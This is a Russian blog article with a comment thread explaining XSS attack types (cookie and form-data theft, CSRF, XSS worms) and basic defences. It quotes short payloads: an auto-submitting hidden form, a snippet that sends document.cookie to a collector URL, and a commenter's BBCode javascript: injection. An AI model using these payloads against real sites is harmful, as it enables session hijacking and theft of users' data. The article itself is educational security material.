XSS глазами злоумышленника

    Что такое XSS и как от него защитится все уже давно знают, поэтому буду краток. XSS это возможность злоумышленника определенным образом (ссылку на возможные варианты смотрите в конце статьи) интегрировать в страницу сайта-жертвы скрипт, который будет выполнен при ее посещении.

    Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

    http://www.site.com/page.php?var=<script>alert('xss');</script>


    Как-то не очень страшно :) Чем же действительно может быть опасной данная уязвимость?

    Пассивная и активная



    Существует два типа XSS уязвимостей — пассивная и активная.

    Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

    Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

    Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

    <form method="post" action="http://site.com/page.php">
      <input type="hidden" name="var" value="<script>alert('xss')</script>">
    </form>
    <script type="text/javascript">
      document.getElementsByTagName('form')[0].submit();
    </script>


    Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

    Кража Cookies



    Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

    var іmg = new Image();
    іmg.srс = 'http://site/xss.php?' + document.cookie;


    Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть <iframe>, <img>, <script>, background:url(); и т.п.

    Кража данных из форм



    Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

    Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

    DDoS-атака (распределенная атака типа «отказ в обслуживании»)



    XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста — много запросов, которые не выдерживает атакуемый сервер.
    Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

    <img src="http://site.com/">


    Подделка межсайтовых запросов (CSRF/XSRF)



    Также имеет косвенное отношение к XSS. Вообще это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.

    Грубо говоря, в идеале это должно быть так. Пользователь авторизировался в системе платежей. Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счет злоумышленника.

    Поэтому большинство сайтов при совершении определенных действий пользователя (например, смена e-mail) переспрашивают пароль или просят ввести код подтверждения.

    XSS-черви



    Этот тип атаки появился, наверное, благодаря соцсетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.

    Безобидный XSS



    Интересно, что счетчики по своей сути тоже являются в некотором роде активной XSS-атакой. Ведь на сторонний сервер передаются данные о посетителе, как, например, его IP-адрес, разрешение монитора и т.п. Только код в свою страничку вы интегрируете по собственной воле :) Взгляните, например, на код Google Analytic.

    Таким же безобидным XSS можно считать и кроссдоменные AJAX-запросы.

    Ссылки по теме



    1. Шпаргалка по XSS — Множество способов интеграции скриптов, плюс бонус (кодирование текста и обфускация IP-адресов).
    2. Описание XSS на Википедии
    3. DoS-атака ВКонтакте «Премии рунета»
    4. Мирный XSS – варианты кроссдоменных AJAX-запросов.
    5. Cross-Site Request Forgery – много шума из-за ничего
    6. Xss для новичков
    7. Xss Расширенный межсайтовый скриптинг
    8. Фальсификация cookie
    9. XSS-червь: кто меньше? – Конкурс на минимальный JavaScript-код, который будет сам себя копировать дальше.


    UPD Советую почитать комментарии — много полезных дополнений.

    *Иллюстрация взята из презентации PHP Under Attack
    Метки:
    Поделиться публикацией
    Похожие публикации
    Реклама помогает поддерживать и развивать наши сервисы

    Подробнее
    Реклама
    Комментарии 41
    • –13
      как вовремя, только вчера об этом подумал, что интересно было бы узнать или попробовать. Сейчас есть с чего начинать :) Меньше телодвижений на первых порах — это гуд. Спасиб
      • +3
        Главный вопрос. Зачем это тебе нужно? =)
        • +1
          поэкспериментировать. Для интереса. Например, это тоже хороший способ для организации безопасности своих сайтов
      • +2
        Кстати говоря, обычно XSS-ки на крупных сайтах очень быстро закрываются. Пофигизм в этом отношении я заметил только у вконтакте — пассивная уязвимость около полугода не закрыта.
      • 0
        Хабравирус внимательно следит за вами!
        • 0
          Интересная статья.
          • 0
            ну вот уже и респект автору выразить нельзя. дожились.
          • +2
            >Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры
            Да и не только. XSS можно провести через cookie, referer, да хоть через host:
            www.securityfocus.com/archive/1/498652
          • 0
            А как защитится от уязвимости, если в HTML или PHP файлы на сервере внедряется код формата:
            iframe src=«хакерская ссылка» width=«1» height=«1»

            P.S. высокотехнологичный Хабр съедает html-код. :(
            • +2
              Это значит, что у кого-то лишнего есть права на запись в ваши HTML- и PHP-файлы ;-)
              • 0
                от этого сайта — уже никак. ну или отключить картинки, скрипты и iframe :) но и то, если враг смог что-то внедрить в php, то уже ничего не спасёт :)
                а чтобы не сделали от вашего имени ничего на других, уязвимых, ресурсах нажимать на кнопку «Выход» перед посещением другого сайта :)
                т.е. не быть залогиненным на сайте-жертве во время посещения сайта хакера
                браузеров ща много развелось, можно ходить на gmail в IE, читать Хабр из Chrome, сидеть в соцсети из Opera, для работы использовать Firefox, а новости и прочие не требующие регистрации сайты читать в Safari. Кому не хватит браузеров, можно установить форки или портабле-версии дополнительно.
                Ещё можно под разными юзерами разные сайты открывать :)
                • 0
                  Я хочу защитить сайт, а не себя, как пользователя.
                • 0
                  Можно покурить в сторону — перед заливкой на сервер снимать хеш с файлов и в админке проверять раз в несколько дней, ну или хотябы вес файлов если и внедрят код то он будет весть больше. как то так, наверно.
                  • 0
                    Меняйте пароль на ftp, у вас его украли. Чистите свой комп от вирусов.
                    Впоследствии не юзайте ftp, переходите на sftp.
                    • 0
                      Вы правы, с московского IP был доступ по FTP. Прийдется дополнительно ограничить доступ по IP. Благо, домашний компьютер с выделенным постоянным IP.
                  • 0
                    Учебник по HTML и htmlspecialchars() — лучшие друзья программиста!
                    • 0
                      А если уязвимость в ББ кодах? htmlspecialchars тут уже не поможет, при условии, что нет никаких прверок на валидность линка

                      [IMG]String.fromCharCode(97,108,101,114,116,40,34,192,32,242,243,242,32,235,254,225,238,233,32,74,83,32,234,238,228,34,41,59)[/IMG]
                      • 0
                        ошибочка,
                        [IMG]javascript: String.fromCharCode(97,108,101,114,116,40,34,192,32,242,243,242,32,235,254,225,238,233,32,74,83,32,234,238,228,34,41,59)[/IMG]
                        • +1
                          Пишем грамотный BBCode парсер, а не пытаемся сделать все на трех регулярных выражениях.
                          • 0
                            Привлекательнее выглядит вариант «берем уже готовый опенсорсный»- они вылизаны сообществом не до идеала, но очень близко, и содержат все необходимые коды. Тестирование своего на оставшиеся в нем дырки- долгий и кропотливый процесс, всех вариантов никогда не учтешь. Как вариант- выдернуть готовый парсер из CMS, впрочем это уже кража кода.
                            • 0
                              Нене, вот я бы как раз не советовал ставить OpenSource там, где есть взаимодействие с пользовательским вводом, найдут какой-нибудь эксплойт и поломают сайт, лучше уж самому написать если есть такая возможность.

                              Посмотрите сколько эксплойтов для джумлы или вордпресса было, да их исправляют, но вещи вроде SQL-инъекций надо не исправлять а просто не допускать!
                      • 0
                        Далеко ходить не нужно. Кто хочет проверить свои силы в поиске уязвимостей — попробуйте найти тут: madduck.habrahabr.ru/blog/66061/ (только комментарии не читайте, там есть ответ)
                        • 0
                          Следовательно, GET-уязвимость чуть более опасна

                          Думаю, описка. Судя по следующему предложению, должно было быть POST-уязвимость
                          • 0
                            GET проще в реализации.
                          • 0
                            Кроме того, что GET проще в реализации (как уже отметили), еще больше доверия вызывает адрес

                            yandex.ru/search.php?q=%3C%73%63%72%69%70%74%3E%3C%2F%73%63%72%69%70%74%3E

                            чем

                            hackersite.com/yandex-xss.php

                            ведь нужна переадресация с сайта злоумышленника.

                            хотя можно использовать домен сильно напоминающий оригинальный

                            wwwyandex.ru
                            yondex.ru

                            что тоже может остаться незамеченым
                          • +1
                            Первый раз увидел XSRF, обычно всегда пишут CSRF, может указать в скобочках второе название. На OWASP в вики на XSRF выдает ссылку на CSRF и как я понял предпочтительней второе название. Но это так, уже мелочки.
                            • 0
                              Я встречал оба варианта. Просто XSRF запомнился больше по аналогии с CSS/XSS. Добавил вторую аббревиатуру.

                              Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF («sea-surf»[1]) or XSRF


                              en.wikipedia.org/wiki/Cross-site_request_forgery
                            • 0
                              хорошо бы, если бы была информация, как с этим бороться
                              • 0
                                В понимании проблемы и содержиться ответ. Фильтровать и перепроверять все данные от кого бы они не были получены.
                                • 0
                                  Бороться чтением правил экранирования спецсимволов в стандарте HTML и функцией htmlspecialchars() если вы используете php.
                                • 0
                                  Для проверки своего сайта рекомендую этот каталог XSS: ha.ckers.org/xss.html
                                  Проверять лучше из под IE6 (из под него больше всего работает)
                                  • 0
                                    Эта ссылка указанна мной первой в ссылках по теме :)
                                  • +2
                                    Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.

                                    По вашим суждениям жертва авторизована на неуязвимом сайте, который подвержен CSRF уязвимости.
                                    При CSRF уязвимо веб-приложение, позволяющее совершать определенные действия, требующие особых привилегий, без проверки referer или специальных токенов, передаваемых с каждым запросом.
                                    Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью

                                    Нередким вариантом является XSS и CSRF на одном и том же хосте.

                                    Также ничего не сказано про DOM-based XSS
                                    • 0
                                      По вашим суждениям жертва авторизована на неуязвимом сайте, который подвержен CSRF уязвимости.


                                      Просто CSRF уязвимости, можно сказать, подвержены все сайты по умолчанию и считаются неуязвимыми :) Но, да, Вы правы, немножко неправильно сформулировал свою мысль.

                                      Нередким вариантом является XSS и CSRF на одном и том же хосте.


                                      Да, согласен.

                                      Также ничего не сказано про DOM-based XSS


                                      Это, по сути, пассивная уязвимость, поэтому я особо не акцентировал на ней внимание, но да, следовало все таки о ней упомянуть.
                                    • 0
                                      Товарищи, я, конечно, знаю, что упячку тут не особо жалуют. Но сейчас вместо главной страницы я сделал чат. Там сидит толпа хрен пойми кого и постит нигеров и прочее. Но соль как раз в xss. Буду признателен, если кто найдёт дыры в моём парсере :). Только отписывайтесь тут, а не там, пожалуйста.
                                      • 0
                                        ну и статья… те, кто ничего не знал про xss итак мало что поняли, а для остальных тем более не открытие.

                                        в чем полезность Вашей статьи? для кого она вообще?
                                        • 0
                                          В аннотации и ссылках по теме, я думаю, Вы найдете ответы на свои вопросы.

                                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.